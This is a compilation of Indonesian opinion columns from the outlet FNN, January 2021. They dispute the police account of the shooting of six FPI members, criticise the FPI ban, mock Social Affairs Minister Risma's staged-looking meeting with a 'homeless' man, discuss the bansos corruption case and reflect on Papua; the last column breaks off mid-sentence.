by Mochamad Toha Surabaya, FNN - Jumat (08/01). Eksekusi mati atas 6 Laskar FPI yang dilakukan aparat Kepolisian, jelas pelanggaran HAM Berat. Jika Komnas HAM tak berani mengungkap secara transparan, kasus ini berpotensi dibawa ke Mahkamah Internasional di Den Haag. Para pakar hukum lebih memahami peraturan perundangan dan undang-undang apa saja yang telah dilanggar aparat kepolisian terkait eksekusi mati terhadap 6 laskar FPI pengawal Habib Rizieq Shihab menuju tempat pengajian rutin keluarga. Padahal rombongan HRS ketika itu sedang dalam perjalanan melaksanakan pengajian rutin keluarga bersama anak-cucunya, bukan sedang melakukan kegiatan kriminal, perampokan, begal, narkoba, apalagi teroris. Kalaupun misalnya HRS tidak atau belum memenuhi panggilan polisi terkait pelanggaran protokol kesehatan, apakah harus dilakukan upaya pembunuhan sebagai motto Tindakan Tegas polisi dan dikuntit ke mana saja ia pergi seolah HRS itu seorang kriminal? Hasil Uji Balistik Komnas HAM menguatkan baku tembak antara polisi dan anggota FPI sebelum KM 50. Ada proyektil dan selonsong yang identik dengan pistol milik polisi dan pistol yang diduga milik anggota FPI. (Koran Tempo, 7 Januari 2021). Kejanggalan Rekonstruksi Bareskrim Polri melakukan reka ulang penembakan terhadap enam anggota laskar FPI yang merupakan pengawal HRS pada Senin dini hari (14/12/2020. Rekonstruksi menggambarkan rentetan kejadian hingga berakhir pada tewasnya enam anggota FPI. “Rekonstruksi ini hasil dari berita acara pemeriksaan, olah TKP dan bukti petunjuk,” ungkap Kepala Divisi Humas Polri Irjen Polisi Argo Yuwono seusai rekonstruksi di Jalan Tol Jakarta Cikampek, Karawang, Senin, 14 Desember 2020. Polisi membagi rekonstruksi ke dalam empat titik lokasi. Lokasi Pertama Lokasi pertama di depan Hotel Novotel Karawang, Jalan International Karawang Barat. Hal ini berdasarkan reka adegan, saat kejadian itu ada dua mobil yang ditumpangi anggota FPI, yaitu Toyota Avanza dan Chevrolet Spin. Sedangkan empat anggota polisi menaiki sebuah mobil Avanza. Polisi menyebut di Kawasan tersebut mobil anggotanya dipepet oleh mobil Avanza FPI hingga ke pinggir jalan. Setelahnya mobil itu pergi. Namun, mobil Spin yang berisi enam orang anggota FPI berhenti di depan mobil Avanza polisi. Empat anggota FPI keluar dari mobil itu membawa senjata tajam. Dua anggota di antaranya disebut memukul mobil polisi dengan senjata tajam. Merespon hal itu, seorang polisi keluar dari mobil dan melepaskan tembakan peringatan. Tembakan peringatan membuat empat laskar FPI kembali masuk ke dalam mobilnya. Namun, setelah itu dua anggota FPI lain yang tadinya berada di dalam mobil menembak sebanyak tiga kali ke arah mobil polisi, lalu kembali melaju. Kejanggalan lokasi pertama:Dalam rekaman Audio Relawan dalam komunikasi intens mereka sepanjang perjalanan, mereka sama sekali tidak menyinggung atau bercerita tentang peristiwa ini. Seandainya ada, maka sejak awal seharusnya mereka sudah melakukan penghindaran dari kejaran polisi dan tidak akan terus mengawal HRS dan tentu komunikasi mereka akan jauh lebih terkesan panik. Tapi, kenyataannya dalam rekaman audio kemunikasi mereka malahan sangat rileks, bahkan santai sepanjang perjalanan hingga Rest Area KM 50 . Itu artinya, tidak ada kejadian seperti reka ulang (silakan cermati lagi audio komunikasi mereka). Dalam reka ulang ini Isi Mobil Spin Adalah 6 Orang, Bukan 10 Orang! Dan, itu berlawanan dengan penjelasan polisi bahwa masih ada 4 orang lain melarikan diri. Di sini polisi diduga berusaha berbohong. Lokasi Kedua Reka adegan berlanjut di lokasi kedua, yakni Jembatan Badami yang berjarak sekitar 500 m dari lokasi pertama. Di jembatan itu, dua mobil kembali terlibat kejar-kejaran. Reka adegan menunjukkan, polisi dan FPI kembali terlibat baku-tembak. Mobil polisi gagal menyalip karena terhadang truk yang melintas di pertigaan. Mobil Spin melaju ke arah tol Jakarta-Cikampek. Kejanggalan Lokasi kedua: Dalam adegan ini dikatakan ada kejadian baku tembak. Dan, itu artinya justru menjadi janggal. Sebab penjelasan polisi sebelumnya mengatakan dalam jumpa pers bahwa laskar menembakkan tiga kali saja. Kalau memang ada tembak-menembak, maka tentu akan banyak paluru ditembakkan dan ada kemungkinan kendaraan polisi bisa terkena tembakan laskar. Meskipun tak mengenai polisi, namun faktanya tidak ada kendaraan polisi yang terkena tembakan dalam kejadian ini. Jika menyimak rekaman pembicaraan selama perjalanan, lagi-lagi dalam komunikasi audio, tidak ada cerita para laskar membahas kejadian tembak- menembak di lokasi ini. Lokasi Ketiga Reka adegan selanjutnya dilakukan di Rest Area KM 50. Di lokasi itu, mobil Spin 6 laskar FPI terhalang sebuah mobil saat ingin keluar dari rest area. Saat itulah empat polisi keluar dari mobil dan mengepung mobil Spin tersebut. Polisi langsung membekuk empat anggota FPI dari dalam mobil, lalu memerintahkan mereka tengkurap di tanah. Adapun dua anggota FPI sisanya nampak terkulai tak bergerak di dalam mobil. Seorang anggota polisi mengecek kondisi kedua orang itu. Dia juga menyita sepucuk senjata api, 10 butir peluru dan sejumlah senjata tajam dari dalam mobil. Polisi juga menyita ponsel milik keenam anggota FPI tersebut. Kemudian datang mobil Daihatsu Xenia yang ditumpangi oleh dua orang polisi di Rest Area KM 50. Setelahnya, para polisi mengangkat dua orang anggota FPI dari dalam mobil Spin, lalu merebahkan tubuh kedua laskar FPI itu di bagian belakang mobil Avanza. Kemudian, dua orang anggota polisi menaiki mobil tersebut dan membawa mereka. “Setelah kejadian ternyata dalam kondisi luka, sehingga dibawa ke RS Kramat Jati Polri,” ungkap Dirtipidum Bareskrim Polri, Brigadir Jenderal Andi Rian di lokasi. Sementara, keempat anggota FPI lainnya dibawa dengan menggunakan mobil Xenia. Tiga anggota polisi ikut dalam mobil yang membawa 4 anggota FPI. Sementara, seorang polisi menaiki mobil derek yang membawa mobil Spin. Di mobil Xenia, dua orang polisi duduk di depan. Seorang polisi duduk di tengah bersama seorang anggota FPI. Tiga anggota FPI yang lainnya duduk paling belakang. “Mereka tidak diborgol,” kata Andi. Kejanggalan Lokasi 3: Di lokasi ini ternyata sudah ada 2 orang terkena tembakan. Yang jadi pertanyaan, mereka ini ditembak di mana? Di lokasi 2 kah? Bagaimana bisa ada dua orang sudah tertembak di lokasi 2 saat terjadi tembak-menembak? Jika memang ada tembak-menembak di lokasi dua dan memakan korban 2 orang maka paling tidak mobil Spin itu sudah tertembak dan tentu ada bekas tembakan dan darah korban. Jadi jika dikatakan ada 2 orang sudah tertembak saat dikepung, maka semakin aneh. Karena, saksi yang ada di lokasi mengatakan ada 2 tembakan! Dan itu dijelaskan oleh wartawan Edy Mulyadi ketika cek lokasi TKP. Hal lainnya, kok bisa masih ada 10 peluru? Katanya di lokasi 2 terjadi tembak-menembak? Bagaimana menjelaskan itu semua? Menurut saksi di lokasi, setengah jam lebih kurang datang mobil ambulan untuk membawa 2 korban pergi. Tetapi direka-ulang, korban malah dinaikan ke mobil Avanza? Penjelasan Andi justru makin aneh saja. Belum lagi adanya penjelasan dari investigasi Edy Mulyadi bahwa kendaraan itu rodanya ditembak, sehingga saat masuk area TKP dan mobil sudah terseok-seok. Anggaplah ini benar kena tembak saat tembak-menembak di lokasi 2 tetapi apakah mungkin mobil dalam kondisi ban pecah sampai ke lokasi Rest Area KM 50? Mengapa tidak disergap saja saat di lokasi 2, sebab mobil sudah pasti akan berjalan lamban? Dalam reka ulang terlihat bahwa 4 orang dibawa polisi dengan mobil Xenia hanya dikawal dengan 3 orang polisi. Satu polisi berdua dengan seorang korban dan ini akan menjadi dasar kematian 4 orang ini di KM 51, apakah mungkin? Apakah yakin mereka tidak diborgol dengan posisi duduk demikian dalam mobil di mana hanya ada 1 polisi di tengah bersama seorang laskar? (Bersambung) Penulis adalah Wartawan Senior FNN.co.id

Ratu Drakor di Panggung Srimulat

by Jarot Espe Surabaya, FNN - Jumat (08/01). Tidak ada kelompok dagelan, yang popularitasnya melebihi Srimulat. Bahkan ketika Srimulat bubar pun, para pelawaknya laku keras mengocok perut lewat layar teve. Terlahir di Solo dari tangan dingin seniman Teguh Slamet Raharjo, Srimulat mencapai puncak kejayaan ketika rutin manggung di Taman Hiburan Surabaya (THR) Surabaya. Setiap malam Jumat, panggung Srimulat diisi tema drakula. Benar benar suasananya mencekam, karena sang sutradara Teguh, menghadirkan back sound yang mendukung tema. Adakalanya, sosok drakula muncul di tengah penonton. Seluruh panggung menjerit histeris. Tapi beberapa saat kemudian, penonton terpingkal pingkal. Coba bayangkan, sang drakula setengah berlari menuju panggung karena 'kebelet' kencing. Dialog pemain Srimulat memang cocok di telinga arek arek Suroboyo. Meski faktanya, penonton Srimulat berdatangan dari berbagai kota. Maklum, panggung Srimulat juga diselingi band pengiring dan penyanyi dari Surabaya. Jadi kalau ada yang nggak paham dialog Suroboyoan, paling tidak terhibur oleh live musiknya. Srimulat sungguh menghibur. Walikota Surabaya, waktu itu, Soekotjo, menjadikan Srimulat sebagai aset kota pahlawan. Usia Trimaharini alias Risma, pengganti Soekotjo 30 tahun kemudian, masih usia sekolah dasar atau SMP. Apakah Risma dulunya juga sering nonton panggung Srimulat? Entahlah. Paling tidak, seperti layaknya arek Suroboyo, saya juga merasa terhibur selama Risma menjadi walikota Surabaya selama 2 periode. Bu Risma, demikian wong Suroboyo memanggil akrab walikotanya, galak. Galak khas orang Jawa Timur, sekaligus membuat orang tersenyum. Terhibur. Mirip respons spontan penonton di panggung Srimulat. Saat Surabaya dilanda hujan deras, 16 Desember 2019, kondisi lalu lintas di Jalan Raya Darmo, macet. Risma pun beraksi. Mengenakan jas hujan, ia berdiri tepat di persimpangan dari arah Jalan Diponegoro menuju arah Wonokromo. Padahal di lokasi yang sama, petugas gabungan dari Satpol PP, Dishub Surabaya maupun kepolisian juga terus mengatur kepadatan kendaraan. Empat bulan kemudian, Risma kembali beraksi manakala Mal Pelayanan Publik Siola Surabaya terbakar. Menggunakan alat pengeras suara, Risma meminta seluruh pengunjung gedung keluar. Sampai ada yang nyeletuk mengingatkan agar Risma hati-hati. Sebab sudah ada petugas yang lebih tahu situasi dan kondisinya. Aksi terakhir Risma sebelum dilantik sebagai Mensos, terlihat saat para demonstran menggelar demo menolak Omnibus Law UU Cipta Kerja di Surabaya, Oktober 2020. Mengetahui banyak fasilitas publik dirusak pengunjuk rasa, Risma marah dan viral di media sosial. Sosok Risma bisa dianggap katup pelepas ketegangan atas kondisi hidup yang dihadapi warga. Lupakan sejenak penegakan hukum yang amburadul, seperti terlihat pada kasus penembakan 6 anggota FPI. Apalagi membahas kasus korupsi bansos oleh kader PDIP, mantan Mensos Juliari Batubara. Abaikan sebentar, kasus covid 19 yang melonjak tak terkendali. Tetap fokus bahagia mencari hiburan Srimulat ala Risma. Selepas dilantik sebagai Mensos, gaya Risma tetap menghibur, paling tidak bagi saya. Wong Suroboyo. Ia enteng berkata, mendapat izin Presiden Jokowi untuk merangkap jabatan: yaitu Mensos sekaligus Walikota Surabaya. Benar benar khas Risma, terdengar spontan, meski melabrak perundangan di Indonesia. Sepekan terakhir, Risma melanjutkan aksi blusukannya. Termasuk menemui tuna wisma di kawasan elite Jakarta, Sudirman-Thamrin. Kali ini sebagai orang Surabaya saya sedih. Respons khalayak demikian negatif, karena tuna wisma yang ditemui Risma, ternyata abal-abal. Namanya, Nur Saman, 70 tahun, penjual poster Soekarno di Jalan Minangkabau, Manggarai, Jakarta Selatan. Dia juga jualan kelapa muda. Saya berencana menulis surat terbuka ke Bu Risma. Jadi semua itu setingan, Bu? Siapa gerangan sutradaranya? Tahukah ibu dianggap melanggar UU ITE karena menyebarkan kebohongan? Hoax..! Kini terasa Bu Risma gak selucu dulu. Gak menghibur seperti panggung Srimulat. Aku wong Suroboyo... arep misuh ga enak. Lha sampean menteri kok dipisuhi. (Aku orang Surabaya, mau mengumpat ga enak. Anda (Bu Risma) kan menteri, masak diumpat). Penulis adalah Pemerhati Seni.

FPI Dibubarkan, FPI Baru Juga Diancam. Maunya Apa Sih?

by Tjahja Gunawan Jakarta, FNN - Jumat (08/01). Rezim pemerintahan Joko Widodo telah membubarkan Front Pembela Islam (FPI) tanggal 30 Desember 2020 lalu. Meski secara hukum pembubaran tersebut sangat lemah karena hanya diputuskan melalui Surat Keputusan Bersama (SKB) yang ditandatangani enam pimpinan kementerian dan lembaga, namun para pengurus FPI tidak mau ambil pusing. Oleh karena itu lalu para fungsionaris FPI segera mendeklarasikan Front Persatuan Islam (baca: FPI Baru). Pembentukan ormas baru ini sangat dimungkinkan karena memang dijamin dan dilindungi undang-undang. Bahkan Menko Polhukam Mahfud MD membolehkan pembentukan ormas bernama Front Persatuan Islam. "Boleh," kata Mahfud lewat pesan singkat kepada portal berita Detik, Kamis (31/12/2020). Jawaban Mahfud ini disampaikan untuk menanggapi pertanyaan apakah deklarasi Front Persatuan Islam oleh Munarman dkk diperbolehkan setelah Front Pembela Islam dilarang oleh pemerintah. Nah karena sudah mendapat sinyal dari pemerintah melalui pernyataan Menko Polhukam, kemudian deklarasi FPI Baru pun dilakukan di berbagai daerah. Tapi rupanya melihat soliditas umat Islam dalam melanjutkan kegiatan dakwah Amar ma'ruf nahi munkar melalui FPI Baru makin kuat, aparat keamanan justru menjadi gerah. Kepolisian Negara Republik Indonesia (Polri) dengan tegas mengancam akan membubarkan seluruh kegiatan Front Persatuan Islam (FPI) di seluruh daerah di Indonesia. Kepala Biro Penerangan Masyarakat Mabes Polri Brigjen Rusdi Hartono menegaskan bahwa Front Persatuan Islam sudah tidak memiliki legalitas dan payung hukum. Oleh karena itu menurutnya, polisi diperbolehkan untuk membubarkan organisasi tersebut jika melakukan kegiatan di setiap wilayah. "Jika tidak mendaftarkan artinya di sini ada kewenangan dari pemerintah untuk bisa melarang dan membubarkan," ujar Rusdi sebagaimana dikutip portal berita Pikiranrakyat-Bekasi, Rabu 6 Januari 2021. Indonesia Negara Kekuasaan? Menanggapi hal tersebut, pakar hukum tata negara Refly Harun mengaku merasa aneh dengan sikap yang diambil pihak kepolisian tersebut. "Ini agak aneh rasanya kalau kita belajar hukum, terutama hukum tata negara yang terkait dengan konstitusi dan hak asasi manusia," kata Refly Harun seperti dikutip Pikiranrakyat-Bekasi.com Dari kanal YouTube Refly Harun. Menurut Refly, Mahkamah Konstitusi (MK) sudah memberi putusan bahwa di Indonesia terdapat dua jenis organisasi massa (ormas), yaitu ormas berbadan hukum dan tidak berbadan hukum. Ormas yang tidak berbadan hukum itu ada dua juga, ormas yang terdaftar di Kemendagri dengan memiliki Surat Keterangan Terdaftar (SKT) dan ormas yang tidak mendaftar atau tidak terdaftar. Refly Harun meminta aparat keamanan untuk bisa memahami tentang seluk-beluk ormas di Indonesia. "Legalitasnya bukan dari penguasa, karena itu adalah HAM, sudah melekat kepada warga negara dan warga negara berhak setiap saat berserikat dan berkumpul, termasuk mengeluarkan pendapat baik secara lisan maupun tulisan," jelas Refly Harun. Namun, jika ormas tersebut sudah terbukti mengganggu ketertiban masyarakat, keamanan, dan melanggar hukum, maka aparat penegak hukum berhak untuk membubarkan kegiatan ormas tersebut. "Jadi, tidak bisa aparat kepolisian ujug-ujug membubarkan sebuah kegiatan ormas, walaupun ormas itu belum mendaftar di Kemendagri," tegas Refly Harun. Kalau hanya ingin berkumpul, melakukan kegiatan tanpa berpikir bantuan dari negara, jelas Refly, maka tidak perlu mendaftar dan tidak perlu mendapatkan SKT. Pernyataan Refly tersebut juga didukung oleh aturan baru MK yang menyatakan bahwa tidak terdaftar bukan berarti kemudian bisa dibubarkan. "Karena sekali lagi, eksistensi semua ormas itu tidak digantungkan dengan ada tidaknya pengakuan dari negara, melainkan dari kegiatan atau aktivitas ormas itu sendiri," ungkap Refly Harun. Dia meminta kepada aparat keamanan agar bisa memahami secara matang tentang konstitusi dan HAM. "Supaya aparat tidak menggunakan bahasa kekuasaan untuk melakukan tindakan-tindakan yang justru bisa dikatakan melanggar hukum, HAM dan konstitusi," tuturnya. Ia juga meminta kepada pemerintah ke depannya agar tidak lagi membubarkan sebuah ormas tanpa proses hukum yang jelas, walaupun UU memungkinkan hal tersebut. Namun menurutnya, UU yang memungkinkan hal tersebut yakni UU No. 16 Th. 2017 adalah sebuah produk otoriter. Dalam menyikapi lahirnya FPI Baru ini, sikap pemerintah sendiri tidak sama. Di satu sisi, Menko Polhukam Mahfud MD membolehkan terbentuknya Front Persatuan Islam. Di sisi lain, Polri justru mengancam akan membubarkan segala bentuk kegiatan FPI Baru itu. Aneh bin ajaib. Menko Polhukam berbicara dengan bahasa hukum, sebaliknya pihak kepolisian menggunakan bahasa kekuasaan. Jadi sebenarnya Indonesia ini negara hukum atau negara kekuasaan sih? Kalau melihat Konstitusi NKRI Pasal 3 sebenarnya sudah sangat jelas dikatakan bahwa “Indonesia adalah Negara Hukum” (Rechtstaat) dan bukan negara kekuasaan (Machstaat), sehingga seseorang yang diduga melakukan suatu tindak pidana tidak bisa langsung dihukum tanpa melalui proses hukum.. Konsep Negara hukum tentu mengutamakan supremasi hukum dalam setiap tindakan yang dilakukan oleh para pejabat di Republik ini dan bukan atas dasar kekuasaan yang dimilikinya. Setiap orang yang dituduh bersalah secara harus diproses secara hukum. Tidak bisa dipungkiri bahwa sekarang faktanya Indonesia sebenarnya sudah bergeser menjadi negara kekuasaan dimana proses hukum hanya sebagai formalitas belaka. Dengan demikian, isi yang terdapat dalam UUD kini tinggal rangkaian kata-kata yang tidak lagi memiliki kekuatan hukum. Yang berlaku sekarang adalah tangan besi kekuasaan. Oleh karena itu menjadi dianggap biasa oleh penguasa otoriter untuk menahan dan memberangus pihak-pihak yang tidak sejalan dengan penguasa. Rezim pemerintah otoriter bisa dengan bebas dan leluasa memenjarakan orang-orang yang dianggap berlawanan dengan penguasa termasuk para ulama dan para tokoh masyarakat lainnya. Jika mengikuti perjalanan bangsa ini, silahkan Anda menilai sendiri apakah reformasi yang telah berjalan sejak tàhun 1998 ini sedang bergerak maju atau sebaliknya berjalan mundur ke era Orde Lama? Semangat kebangsaan untuk mewujudkan Indonesia yang adil dan sejahtera, nampaknya tinggal harapan kosong. Optimisme yang menggelora diawal-awal reformasi, kini menjadi seperti antiklimaks manakala menyaksikan perilaku pejabat pemerintah dan aparatur keamanan di republik ini. Upaya pihak kepolisian untuk menghambat kegiatan FPI Baru, sangat boleh jadi didasari oleh skenario untuk melumpuhkan berbagai upaya hukum dari para pengurus FPI Lama dalam mengungkap kasus pembunuhan keji yang dilakukan aparat kepolisian terhadap enam laskar FPI pada Senin 7 Desember 2020. Jika eks fungsionaris FPI Lama ini dianggap tidak mampu membentuk Ormas "yang diakui" pemerintah, maka bisa saja nanti pihak kepolisian secara sepihak mengesampingkan orang-orang yang memperjuangkan penyelidikan terhadap kasus pembunuhan tenam laskar FPI. Kalau sudah demikian kondisinya, wis angel tuturane. Wallohu a'lam bhisawab. Penulis adalah Wartawan Senior Fnn.co.id.

"Mensos Lama" Dibui, "Mensos Baru" Dibully

by Tony Rosyid Jakarta FNN – Kamis (07/01). Politisi PDIP Juliari Peter Batubara ditangkap Kimisi Pemberantasan Korupsi(KPK) melalui pengembangan dari Operasi Tangkap Tangan (OTT). Dugaan korupsi dana bansos di Kementerian Sosial. Nilai korupsnya Rp. 17 miliar, kata KPK. Tetapi, angka itu terus naik seiring perkembangan kasus. Pro kontra hukuman mati terus meramaiakan media. Juliari ditetapkan sebagai pelaku korupsi. Rakyat sepakat dengan KPK itu. Tetapi, Juliari juga diduga menjadi korban. Korban apa? Kabarnya, ada perintah setoran. Kepada siapa? Hanya KPK yang punya otoritas untuk membongkarnya, jika memang betul adanya. Itupun harus ada niat dan keberanian. Kalau nggak ada, maka akan menguap. Sudah tepat yang dilakukan presiden Jokowi. Mencopot dan mengganti Juliari Peter Batubara. Pengganti Juliari adalah Tri Risma Harini, Waliko Surabaya. Hanya beberapa pekan setelah Juliari diterapkan jadi tersangka. Bersih-bersih kabinet dilakukan Jokowi. Juliari masuk bui, digantikan Risma. Sama-sama dari PDIP. Kini, tugas Risma sangat berat. Pertama, mengembalikan nama baik PDIP. Partai dimana Risma berkarir. Kedua, menjaga nama presiden sebagai kepala negara yang membawahi semua kementerian. Tahun 2020 kemarin, ada sejumlah kader PDIP ditangkap KPK. Mulai dari kepala daerah hingga menteri. Penangkapan ini tantangan tersendiri bagi para kader PDIP yang sekarang menjadi pejabat publik. Mampukah mereka bekerja dan menjaga integritas? Butuh permbuktian nanti. Bukan janji manis. Portofolio mereka akan sangat berpengaruh pada marwah partai ke depan. Khususnya posisi Risma yang menggantikan Julian Batubara yang terjungkal, karena korupsi. Dengan popularitasnya, semua sepak terang Risma akan dipantau publik. Ini bisa menguntungkan buat PDIP. Tetapi jika kepleset, bisa bikin jeblok partai banteng ini. Pasca dilantik, Risma langsung tancap gas. Risma Keliling Jakarta menemui para gelandangan dan tuna wisma. Hari itu pula, Risma dibully pablik. Kenapa? Ibu Risma itu Mensos. Bukan Kepala Dinas Sosial Pemeerintah DKI. Begitu persepsi publik. Wilayah kerja Mensos itu nasional. Seluruh wilayah NKRI, dari Sabang sampai Merauke. Bukan hanya sebatas DKI saja. Tugas Mensos salah satunya membantu mensejahterakan rakyat miskin. Bukan mengumpulkan gelandangan dan tuna wisma. Mengawali dengan pendataan warga miskin. Mencari faktor-faktor apa saja yang menyebabkan kemiskinan. Lalu merumuskan program pengentasan kemiskinan. Memastikan kalau anak buah Risma bergerak mengikuti juklak dan juknisnya. Itulah tugas Mensos. Gelandang adalah sedikit dari jumlah orang miskin. Di luar Jakarta, angka kemiskinan lebih besar. Artinya, mereka menunggu ibu Mensos dengan bantuan-bantuan yang tepat. Bantuan yang betul-betul sampai ke tangan mereka yang miskin itu.. Ukuran keberhasilan Mensos bukan pada berapa kali bertemu dengan para gelandangan itu. Bukan pula berapa besar bantuan yang diberikan kepada para gelandangan itu. Apalagi cuma ongkos pulang kampung. Bukan itu. Sama sekali tidak bisa jadi ukuran. Sukses tidaknya Mensos akan diukur seberapa besar angka kemiskinan itu turun. Seberapa besar tingkat kesejahteraan masyarakat miskin mengalami perkembangan. Setahun, dua tahun, tiga tahun, bisa diukur datanya. Data-data itu bisa menjadi alat yang efektif jika mau dipakai untuk branding. Tentu, kemiskinan bukan tanggung jawab Mensos sendirian. Ada kepala daerah. Dalam skala yang lebih makro, ada Menko Perekonomian. Karena itu, perlu kolaborasi dan sinergi semua pihak. Nggak efektif jika berjalan sendiri-sendiri. Kalau maksain untuk jalan sendiri, bisa saja datanya tak valid. Sasaran bisa nggak tepat. Program jadi nggak terukur. Akibatnya, menteri pun dibully. Ini konsekuensi dari salah sasaran. Salah sasaran atau salah pencitraan? Ah, terserah lu aja deh. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Papua, Antara Konspirasi dan Populisme

by Yorrys Raweyai Jakarta, FNN - Kamis (07/01). Respons terhadap persoalan Papua yang semakin mengemuka turut memunculkan berbagai analisis. Kompleksitas latar belakang yang mengiringi keberadaan Papua dalam bingkai NKRI melahirkan kesimpulan-kesimpulan yang, di satu sisi, membawa alam sadar kita ke dalam suasana pemahaman tentang betapa ber-“harga”-nya Papua sebagai “surga” menghampar di dunia. Di sisi lain, Papua telah menjadi magnet bagi para pemburu “keuntungan” masa depan yang sedang kehabisan “energi domestik” untuk sekedar mempertahankan kepemilikan status sebagai “adi kuasa” dan “adi daya”. Apapun hasil analisis kemudian, pada gilirannya akan menempatkan Papua sebagai cerita tersendiri dalam kubangan intervensi. Lebih besar lagi, Papua adalah objek menggiurkan bagi pihak lain di luar dirinya. Kontestasi dan konspirasi pun tidak terelakkan. Pemaknaan tentang keduanya bahkan menjadi lebih mudah dicerna oleh publik yang cenderung membutuhkan penjelasan sederhana tentang apa yang sesungguhnya sedang terjadi. Instrumen demokrasi yang mengidentifikasi Amerika dan Eropa sebagai pendulum, tentu berkepentingan dengan dekolonialisasi dalam berbagai rupa dan bentuk. Belanda yang sejatinya begitu vulgar menancapkan kuku kolonial di Papua membuatnya kehilangan “alibi” untuk segera hengkang dan menyerahkan kekuasaan. Atas nama demokrasi, Amerika perlahan merengsek masuk. Tetapi hajat untuk sekedar memberi kebebasan tidaklah cukup diterima begitu saja. Sejak temuan “gunung emas” di akhir tahun 1950-an, membuat publik Papua begitu sulit menerima argumen sederhana tentang “kebebasan” yang hendak disematkan kepada mereka. "There is no such thing as a free lunch" terlanjur meng-adagium di kepala publik yang tersadarkan oleh pasar bebas. Bukan tanpa alasan jika paradigma tersebut lebih lanjut menuai banyak penjelasan oleh banyak ilmuwan. Greg Poulgrain, seorang sejarawan Australia, dan sederet sejarawan lainnya, sejak lama melakukan kajian tentang kuatnya aroma konspirasi yang menjadikan Papua sebagai objek eksploitasi. Meski atas kepentingan kesejahteraan maupun sebatas eksploitasi sebagaimana dikaitkan dari peran John F. Kennedy dan Allen Welsh Dulles, pintu masuk intervensi terbuka lebar. Diskursus geopolitik yang meneropong Papua dalam peta dunia memang tidak lagi bisa dihindari. Globalisasi dan pasar bebas di bawah payung liberalisme yang telah mempertautkan satu sama lain dalam aneka ragam kepentingan membutuhkan “mangsa” untuk dijamah. Jika kemudian negara-negara lain turut mengambil andil, maka itupun adalah bagian keniscayaan sejarah. Atas dasar itulah, membaca gambaran besar (big picture) terkait konstalasi Papua penting untuk selalu digemakan. Agar kita senantiasa memiliki referensi dalam bertindak dan mengambil kebijakan. Karena itu pula, fundamental kebangsaan dan kenegaraan kita sebagaimana termaktub dalam UUD 1945 dan Pancasila, pun menjadi alasan utama mengapa kebijakan-kebijakan yang diajukan oleh negara harus senantiasa dikritisi dan dievaluasi. Suara-suara kebebasan yang menggelegar dalam ruang publik Papua hari ini tentu tidak lahir dalam ruang hampa. Di situ tersimpan kekhawatiran, kegelisahan dan keprihatinan. Negara harus hadir dalam berbagai segmen dan fragmen aspirasi, tanpa mengabaikan, mengucilkan, apalagi memberangus mereka yang berbeda. Demikian pula, penyelewengan dan pengabaian atas fundamental kebangsaan dan kenegaraan, pun tidak bisa ditoleransi ataupun didiskriminasi. Amerika dan Eropa (pihak asing) mungkin tidak lepas dari sinyalemen tentang dominasi, penghisapan, dan perburuan keuntungan. Tapi gagasan tentang pentingnya demokrasi, meski boleh jadi hanya sekedar lip service semata, telah membuka mata publik Papua, bahwa kebebasan dan “kemerdekaan” itu bukan semata slogan perlawanan, tapi hak asasi yang memang inheren untuk terus diperjuangkan. Kemiskinan, kebodohan dan ketertinggalan adalah diksi-diksi yang membutuhkan perjuangan untuk diselesaikan. Sebab kebebasan dan “kemerdekaan” sebagai manusia dan warga negara tidak akan lahir dalam suasana itu. Sementara kritisisme yang muncul akibat pandangan tentang ketidakhadiran negara dalam berbagai keluh dan kesah publik Papua sejatinya adalah kelaziman yang membutuhkan ruang untuk terus disuarakan dan didialogkan. Jika tidak, maka perlawanan dan penentangan yang sebelumnya berlangsung pada tataran substansial, berubah dan mengkristal dalam suasana yang semata untuk menunjukkan perbedaan. Apapun yang ditelorkan oleh pemerintah direspons secara berbeda. Dengan menentang, mereka berbeda. Negara yang kehilangan daya untuk menegosiasikan persolan terjebak antara pilihan untuk bertindak tegas atau membiarkan perlawanan bermetamorfosa menjadi semakin buas. Pada akhirnya, korban dari semua pihak berjatuhan. Di pihak lain, suara publik yang kehilangan substansi terjatuh dalam nuansa populisme. Mengatasnamakan rakyat yang “tertindas”, suara penentangan menjadi nyaring terdengar, semakin terbuka dan tidak lagi berada dalam ruang tertutup. Suara perlawanan di hutan belantara yang hanya di dengar oleh mereka sendiri, perlahan terpublikasi di ruang terbuka. Tersiar melalui dukungan media sosial, disambut oleh mereka yang sebelumnya diam, hingga memunculkan alternatif-alternatif baru. Ironisnya, dinamika penentangan semakin meluas seiring dengan agregasi kekuasaan yang juga semakin massif. Populisme menjadi lahan efektif bagi mereka yang memang selama ini terbungkam dan terpinggirkan oleh negara yang sibuk menyelesaikan persoalan berdasarkan perspektifnya sendiri. Pada tataran ini, populisme Papua bukan lagi suara pinggiran, tapi merengsek ke tengah, menjadi saluran alternatif. Tanpa disadari lebih jauh, ia pun telah menjadi wadah menggiurkan untuk dimanfaatkan oleh apapun kepentingan yang melatarbelakanginya. Dengan demikian, sudah seharusnya pemerintah membuka diri. Memang diperlukan ketegasan untuk menunjukkan bahwa negara tidak boleh tunduk atas apapun yang berpotensi menodai fundamen-fundeman yang sejak awal mempersatukan bangsa. Tapi respons atas perlawanan dan penentangan sejatinya berbanding lurus dengan pemaknaan tentang gambaran besar yang pernah, sedang dan akan terus mewarnai kompleksitas persoalan Papua. Jika demikian, maka kita mengkhawatirkan masa depan Papua dihuni oleh dua belah pihak yang jatuh dalam arena populisme di saat keduanya mengusung argumen atas nama rakyat. Penulis adalah anggota DPD RI Dapil Papua/Ketua MPR For Papua.

Drakor Mensos Risma, Salah Casting, Salah Skenario?

By Hersubeno Arief TAK perlu waktu terlalu lama. Teka-teki “gelandangan” yang ditemui Mensos Risma di Jalan Thamrin Jakarta, langsung terbongkar. Seorang netizen mengenali pria berambut putih, berpakaian lusuh itu bukan gelandangan. Dia seorang pedagang poster di Jalan Minang Kabau, Jakarta Selatan. Karena yang dijual kebanyakan poster Bung Karno dan Megawati, netizen menyimpulkan dia anggota PDIP. Setidaknya simpatisan partai moncong putih itu. Berbekal info netizen, media rama-ramai mendatanginya. Benar saja. Pria itu bernama Nursaman. Sehari-hari dia pedagang es kelapa muda dan berjualan poster tak jauh dari Pasar Rumput. Nursaman mengakui pria dalam foto itu dirinya. Anehnya dia mengaku tak pernah ke Jalan Thamrin. Apalagi bertemu Mensos. Menurut istrinya, pria berusia 70 tahun itu sudah sering lupa. Dia pikun. Apapun pengakuannya, satu fakta tidak bisa dibantah. Benar pria yang ditemui Risma dan akan dipulangkan ke kampung halaman itu adalah Nursaman. Seorang pedagang yang diminta “berperan” sementara menjadi gelandangan. Lokasi yang dipilih di sepanjang kawasan Jalan 